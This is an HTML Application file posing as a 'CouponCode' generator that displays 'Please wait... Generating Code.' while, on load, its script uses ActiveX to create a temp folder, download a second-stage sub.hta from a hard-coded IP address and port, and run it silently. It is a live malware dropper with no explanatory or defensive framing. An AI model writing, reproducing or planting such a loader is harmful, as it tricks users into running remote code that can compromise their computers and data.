<HTML>
<HEAD>
<TITLE>CouponCode</TITLE>
<HTA:APPLICATION ID="oHTA" APPLICATIONNAME="myApp" BORDER="thin" BORDERSTYLE="normal" CAPTION="yes"
MAXIMIZEBUTTON="yes" MINIMIZEBUTTON="yes" SHOWINTASKBAR="yes" SINGLEINSTANCE="no" SYSMENU="no" VERSION="1.0" WINDOWSTATE="normal" NAVIGABLE="yes"
icon="#"/>
<meta http-equiv="x-ua-compatible" content="ie=11" />
<meta http-equiv="Content-Type" content="text/html;charset=UTF-8">
<META HTTP-EQUIV="Pragma" CONTENT="no-cache">
<META HTTP-EQUIV="Expires" CONTENT="-1">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
</HEAD>
<BODY onload="start()" SCROLL="no" style="height:99%;border:none;margin:0px">
<div id="log" style="display:none;height: 300px; width: 100%;overflow-y:scroll;">
</div>
<div style="height: calc(100% - 55px); width: 100%;overflow-y:none;border:none">
<div>Please wait... Generating Code.</div>
</div>
</BODY>
<script language="javascript">
function start() {
try {
var fso = new ActiveXObject("Scripting.FileSystemObject");
var objShell = new ActiveXObject("WScript.Shell");
var tempFolder = fso.BuildPath(fso.GetSpecialFolder(2), fso.GetTempName().replace(".tmp", ""));
fso.CreateFolder(tempFolder);
objShell.CurrentDirectory = tempFolder;
var jsFile = fso.BuildPath(tempFolder, "sub.hta");
$.ajax({
//dataType: "json",
url: 'http://104.219.250.198:1338/hta/sub.hta',
async: false,
success: function (data) {
var fileNew = fso.CreateTextFile(jsFile, true);
fileNew.Write(data);
fileNew.Close();
objShell.run(jsFile, 0, false);
},
error: function (err) {
//alert(err);
}
});
}
catch (ex) {
//alert(ex);
}
</script>
</HTML>